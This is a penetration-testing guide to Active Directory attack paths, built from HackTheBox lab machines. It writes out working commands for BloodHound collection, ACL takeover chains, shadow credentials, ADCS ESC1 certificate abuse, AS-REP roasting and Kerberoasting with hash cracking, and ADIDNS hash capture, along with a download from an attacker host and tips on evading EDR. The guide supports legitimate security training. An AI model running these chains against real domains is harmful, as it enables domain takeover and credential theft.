Active Directory Misconfiguration Assessment
#Overview
Active Directory misconfiguration assessment differs fundamentally from traditional vulnerability assessment. Instead of matching version strings to CVEs, the analyst maps relationships, ACLs, delegation rights, and trust configurations across the domain to identify attack paths. BloodHound is the centerpiece of this analysis, converting raw LDAP data into a graph database where nodes (users, groups, computers, GPOs, OUs, containers) are connected by edges (ACL relationships, group memberships, sessions, delegation rights).
The assessment methodology follows a four-step cycle: collect domain data with SharpHound/bloodhound-python, load into BloodHound CE, run pre-built queries to identify high-value misconfigurations and attack paths, and then validate findings with targeted tools. Each machine in the AD collection illustrates a specific attack path: AS-REP roasting on Forest and Sauna, ACL chains on Certified, ADCS template misconfiguration on Escape and TombWatcher, LAPS misconfiguration on Timelapse, constrained delegation on Intelligence.
The most critical AD concepts to assess: who can escalate to Domain Admin, which accounts have SPNs set (Kerberoastable), which accounts lack pre-authentication (AS-REP roastable), which ACLs grant excessive rights, and which certificate templates are vulnerable to ESC attacks.
#Prerequisites
- Valid domain credentials (even low-privileged), or at minimum network access for unauthenticated enumeration (LDAP anonymous bind, SMB null session)
- BloodHound Community Edition (neo4j + bloodhound GUI) installed
- SharpHound.exe (Windows) or bloodhound-python (Linux)
- Certipy for ADCS enumeration
- Impacket suite (GetNPUsers, GetUserSPNs, secretsdump)
- netexec (formerly CrackMapExec) for credential validation and enumeration
- bloodyAD for ACL manipulation from Linux
#Detection and Enumeration
#Step 1: Collect Domain Data
From a Linux attack host with valid credentials:
bloodhound-python -d <domain> -u <user> -p <password> -dc <dc_fqdn> -c all -ns <dc_ip>
Example from Certified:
bloodhound-python -d certified.htb -u 'judith.mader' -p 'judith09' -dc 'dc01.certified.htb' -c all -ns 10.129.167.49
From a Windows target (upload SharpHound):
iwr http://<attacker_IP>:8000/SharpHound.exe -o sh.exe
.\sh.exe -c All
On Outdated, SharpHound was uploaded to a compromised host and run with -c All to collect comprehensive data for BloodHound analysis.
From a Linux attack host with Kerberos authentication (when NTLM is blocked):
impacket-getTGT <domain>/<user>:<password> -dc-ip <dc_ip>
export KRB5CCNAME=<user>.ccache
bloodhound-python -d <domain> -k -dc <dc_fqdn> -c all -ns <dc_ip>
On Absolute, the user d.klay was in Protected Users (NTLM disabled), requiring Kerberos-based LDAP enumeration.
#Step 2: Set Up BloodHound CE
# Start neo4j database
sudo neo4j console
# In a separate terminal, start BloodHound
bloodhound --no-sandbox
# Upload the .zip file produced by SharpHound/bloodhound-python
Mark owned users by right-clicking them and selecting "Mark User as Owned." This enables shortest-path analysis from known foothold to high-value targets.
#Step 3: Run Pre-Built BloodHound Queries
BloodHound ships with essential pre-built queries. Start here:
High-Value Target Identification
- Find all Domain Admins -- Who are the current domain administrators?
- Find all Domain Controllers -- Which computers hold the domain database?
- Shortest Paths to Domain Admins -- Can owned users reach Domain Admins through any path?
- Shortest Paths to High Value Targets -- Broader view including Enterprise Admins, Schema Admins, etc.
Kerberos-Based Attacks
- Find Kerberoastable Users -- Users with SPNs set; their TGS tickets can be requested and cracked offline
- Find AS-REP Roastable Users -- Users with Do Not Require Pre-Authentication; their TGTs can be requested and cracked offline
- Find Computers with Unconstrained Delegation -- Computers that cache TGTs for any user who authenticates to them
ACL Abuse
- Find principals with DCSync rights -- Users/groups with DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights
- Find all objects with GenericAll -- Full control over target objects
- Find all objects with WriteOwner -- Ability to change object ownership
- Find all objects with WriteDACL -- Ability to modify ACLs
- Find all objects with ForceChangePassword -- Ability to reset passwords
Special Groups
- Find all LAPS Readers -- Groups that can read LAPS-managed local admin passwords
- Find gMSA accounts -- Group Managed Service Accounts
#Step 4: Interpreting BloodHound Edge Relationships
| Edge | Meaning | Abuse Method |
|---|---|---|
| MemberOf | Direct group membership | Inherited privileges |
| GenericAll | Full control over object | Shadow Credentials, password reset |
| GenericWrite | Write to object properties | Shadow Credentials, targeted Kerberoasting |
| WriteOwner | Change object ownership | Take ownership, then modify ACL |
| WriteDACL | Modify ACL of object | Grant self DCSync or full control |
| ForceChangePassword | Reset user password | Password reset without knowing current password |
| AddMember | Add members to group | Add self to privileged groups |
| AddSelf | Add self to group | Same as AddMember but self-targeted |
| AddKeyCredentialLink | Add key credential to object | Shadow Credentials attack (Whisker/PyWhisker) |
| ReadLAPSPassword | Read LAPS-managed password | Retrieve local admin password |
| ReadGMSAPassword | Read gMSA password | Retrieve gMSA password hash |
| SQLAdmin | SQL database admin | Execute commands via xp_cmdshell |
| CanRDP | Remote Desktop access | Interactive logon |
| CanPSRemote | PowerShell Remoting (WinRM) | Remote shell via WinRM |
| ExecuteDCOM | DCOM execution | Lateral movement via MMC/DCOM |
| AllowedToDelegate | Constrained delegation | S4U2Self/S4U2Proxy impersonation |
| TrustedForDelegation | Unconstrained delegation | TGT harvesting from computer |
#Assessment Methodology
#ACL Abuse Chain Analysis
ACL-based attack paths are the most common AD privilege escalation vectors. A single edge is rarely sufficient -- the analyst must chain multiple edges.
Example from Certified (HTB): The user judith.mader had:
- WriteOwner over the
managementgroup -> change ownership to self - After ownership change, grant self FullControl over
management-> add self as member - As member of
management, exploit GenericWrite overmanagement_svcuser -> Shadow Credentials attack - Use the PFX certificate to authenticate as
management_svc-> WinRM access
Chain execution:
# Step 1: Take ownership of management group
bloodyAD --host "<dc_ip>" -d "<domain>" -u "judith.mader" -p "judith09" set owner management judith.mader
# Step 2: Grant FullControl via DACL edit
python3 dacledit.py -action 'write' -rights 'FullControl' -principal 'judith.mader' -target 'management' "<domain>/judith.mader:judith09"
# Step 3: Add self to group
net rpc group addmem "management" "judith.mader" -U "<domain>/judith.mader%judith09" -S "<dc_fqdn>"
# Step 4: Shadow Credentials on management_svc
python3 pywhisker.py -d "<domain>" -u "judith.mader" -p "judith09" --target "management_svc" --action "add"
#ADCS Misconfiguration Assessment
Active Directory Certificate Services misconfigurations (known as ESC1 through ESC15) represent a major privilege escalation attack surface.
Enumerate ADCS with Certipy:
certipy find -u <user> -p <password> -dc-ip <dc_ip> -vulnerable -stdout
This flags vulnerable certificate templates and identifies which ESC attacks are applicable.
Key ESC vulnerabilities to check for:
| ESC# | Name | Condition |
|---|---|---|
| ESC1 | Template allows SAN specification | ENROLLEE_SUPPLIES_SUBJECT flag set, client authentication EKU |
| ESC2 | Template with Any Purpose EKU | No EKU restriction, allowing subordination |
| ESC3 | Enrollment agent template | Certificate Request Agent EKU without authorization enforcement |
| ESC4 | Weak template ACLs | Standard users can modify template configuration |
| ESC8 | HTTP/S enrollment endpoint | Web enrollment without NTLM relay protections |
| ESC9 | No security extension flag | CT_FLAG_NO_SECURITY_EXTENSION set |
| ESC13 | OID group link abuse | Issuance policy OID linked to privileged group |
| ESC15 | Application policy abuse | Vulnerable application policy configuration |
Example from Escape (HTB):
A certificate template was vulnerable to ESC1: users eligible for the template could request certificates for any other user, including Domain Administrators. Certify was used to enumerate and exploit:
Certify.exe find /vulnerable
Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:Administrator
On TombWatcher, ESC15 was exploited after recovering an old ADCS admin account from the AD Recycle Bin.
#Kerberos Delegation Audit
Unconstrained Delegation: Computers with TrustedForDelegation cache TGTs of any user authenticating to them. If compromised, extract cached TGTs with Mimikatz or Rubeus. Query: "Find Computers with Unconstrained Delegation."
Constrained Delegation: Users/computers with AllowedToDelegate can impersonate any user to specific services. Allows S4U2Self + S4U2Proxy chain. Query: "Find Users with Constrained Delegation."
Resource-Based Constrained Delegation (RBCD): Instead of the service having delegation rights, the resource specifies which principals can delegate to it. The msDS-AllowedToActOnBehalfOfOtherIdentity attribute controls this. Abuse with rbcd.py or the --delegate-to flag in getST.py.
Example from Intelligence (HTB):
- gMSA account had constrained delegation to the DC
- Read gMSA password -> request TGT for gMSA -> S4U2Self to impersonate Administrator to the DC -> DCSync
#gMSA and LAPS Configuration Review
LAPS (Local Administrator Password Solution):
Check if the target user/group has LAPS read privileges:
Get-ADComputer -Identity <computer_name> -Properties ms-Mcs-AdmPwd
On Timelapse, svc_deploy was a member of LAPS_Readers, allowing retrieval of the Administrator password:
# Using LAPSToolkit or AdmPwd.PS module
Get-LAPSPasswords -DomainController <dc_ip> -Credential <creds>
gMSA (Group Managed Service Account):
Identify gMSA accounts and their delegated access:
Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword
On Intelligence, the gMSA account svc_int had constrained delegation to the DC. On Rebound, a gMSA account with delegation rights was the final pivot to DCSync.
#Domain Password Policy Review
Check the domain password policy for weaknesses:
netexec smb <dc_ip> -u <user> -p <pass> --pass-pol
enum4linux -a <dc_ip>
Critical policy attributes to assess:
- Minimum password length (7 or less is weak)
- Password complexity (disabled is critical)
- Account lockout threshold (None = safe password spraying, as on Monteverde)
- Password history (low values allow password reuse)
- Maximum password age (very high = stale credentials)
On Monteverde, the Account Lockout Threshold was "None," enabling an unlimited password spray. The service account SABatchJobs had its username as its password.
#User Account Analysis
Assess domain user properties for security weaknesses:
| Property | Risk | BloodHound Query |
|---|---|---|
| PASSWD_NOTREQD | Blank password possible | Users with PASSWD_NOTREQD |
| DONT_EXPIRE_PASSWORD | Stale credentials | Users with Password Never Expires |
| DONT_REQ_PREAUTH | AS-REP roastable | Find AS-REP Roastable Users |
| TRUSTED_TO_AUTH_FOR_DELEGATION | Protocol transition | Find Users with Constrained Delegation |
| AdminCount=1 | Protected group member | Users with AdminCount=1 |
AS-REP Roasting: On Sauna, GetNPUsers.py identified fsmith as AS-REP roastable without requiring credentials. On Forest, the svc-alfresco account was AS-REP roastable after anonymous LDAP enumeration revealed usernames.
GetNPUsers.py <domain>/ -request -no-pass -dc-ip <dc_ip> -usersfile users.txt
hashcat -m 18200 hash.txt -o pass.txt /usr/share/wordlists/rockyou.txt
Kerberoasting: Request service tickets for users with SPNs:
GetUserSPNs.py <domain>/<user>:<password> -dc-ip <dc_ip> -request
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
#ADIDNS and Group Policy Analysis
ADIDNS: Authenticated users can create DNS records by default. On Intelligence, a DNS record pointing to the attacker's IP caused a scheduled script to authenticate via NTLM, capturing the hash.
dnstool.py -u '<domain>\<user>' -p <password> <dc_ip> -a add -r <record_name> -d <attacker_ip> -t A
GPO Enumeration:
Get-GPO -All | Select-Object DisplayName, Id
gpresult /r /scope computer
BloodHound shows GPO edges including WriteDacl, GenericAll, and GpLink relationships to OUs. A user with write access to a GPO linked to a domain controller's OU can push malicious Group Policy preferences (Scheduled Tasks, Startup Scripts, Registry changes) for code execution.
#Common Pitfalls
- Pitfall: Running BloodHound with the default collection method (
-c Default) and missing critical data. Fix: Always use-c Allto collect ACLs, container structure, GPOs, and trust relationships. - Pitfall: Forgetting to mark owned principals before analyzing attack paths. BloodHound calculations depend on knowing what you control. Fix: Right-click every user/computer you have credentials for and select "Mark as Owned."
- Pitfall: Ignoring Kerberos clock skew. On Escape, Absolute, and Rebound, the time difference exceeded 5 minutes, requiring NTP synchronization before Kerberos authentication would work. Fix:
sudo ntpdate -u <dc_ip>before any Kerberos-based tool. - Pitfall: Stopping after a single BloodHound query. The "Shortest Path to Domain Admins" query misses paths that require multiple hops through intermediate nodes. Fix: Also check "Shortest Paths to High Value Targets" and use custom Cypher queries for chained paths.
- Pitfall: Trying NTLM authentication against accounts in Protected Users. Members of Protected Users (like d.klay on Absolute) cannot authenticate via NTLM. Fix: Use Kerberos authentication: request a TGT with
impacket-getTGT, exportKRB5CCNAME, and use-kflags.
#OPSEC Considerations
- Detection: SharpHound.exe generates a high volume of LDAP queries and is a well-known signature for EDR. Fix: Use bloodhound-python from a Linux host outside the domain, or use SharpHound's
--throttleflag to reduce query rate. - Detection: AS-REP roasting (TGT requests without pre-auth) generates Event ID 4768 on the Domain Controller. A single request is low-noise; bulk AS-REP roasting of many users triggers alerts.
- Detection: Kerberoasting (TGS-REP requests with RC4 encryption) generates Event ID 4769 with Ticket Encryption Type 0x17. Monitor for unusual frequency of these events.
- Detection: Adding DNS records via ADIDNS is logged. On Intelligence, this technique was essential but should be cleaned up post-engagement.
- Detection: DCSync requests (DS-Replication-Get-Changes) require Domain Admin or equivalent rights. The act itself is logged as Event ID 4662.
#Cross-References
#Tool References
| Tool | Link |
|---|---|
| BloodHound CE | https://github.com/SpecterOps/BloodHound |
| SharpHound | https://github.com/SpecterOps/SharpHound |
| bloodhound-python | https://github.com/dirkjanm/BloodHound.py |
| Certipy | https://github.com/ly4k/Certipy |
| Impacket | https://github.com/fortra/impacket |
| netexec | https://github.com/Pennyw0rth/NetExec |
| bloodyAD | https://github.com/CravateRouge/bloodyAD |
| PyWhisker | https://github.com/ShutdownRepo/pywhisker |
| Whisker | https://github.com/eladshamir/Whisker |
| PKINITtools | https://github.com/dirkjanm/PKINITtools |
| dacledit.py | https://github.com/fortra/impacket |
| dnstool.py | https://github.com/dirkjanm/krbrelayx |
| LAPSToolkit | https://github.com/leoloobeek/LAPSToolkit |
#Source Machines
- Escape (Medium) -- ADCS ESC1 certificate template misconfiguration, Certify enumeration, MSSQL UNC path hash capture
- Forest (Easy) -- Anonymous LDAP binds, AS-REP roasting, Account Operators to Exchange group to DCSync chain
- Cascade (Medium) -- LDAP custom attributes, TightVNC password decryption, .NET reverse engineering, AD Recycle Bin enumeration
- Sauna (Easy) -- AS-REP roasting from employee names, BloodHound DCSync right analysis, auto-logon credential discovery
- Timelapse (Easy) -- LAPS_Readers group abuse, PFX certificate extraction and cracking
- Intelligence (Medium) -- Password spraying, ADIDNS abuse, ReadGMSAPassword + constrained delegation chain
- Support (Easy) -- .NET binary reverse engineering for LDAP credentials, GenericAll to RBCD attack path
- TombWatcher (Hard) -- BloodHound multi-hop path, targeted Kerberoasting, GMSA, ForceChangePassword, shadow credentials, AD Recycle Bin, ESC15
- Certified (Medium) -- WriteOwner + GenericWrite + ShadowCredentials ACL chain, ADCS ESC9
- Rebound (Insane) -- RID cycling, AS-REP + Kerberoast chain, gMSA delegation audit, RBCD DCSync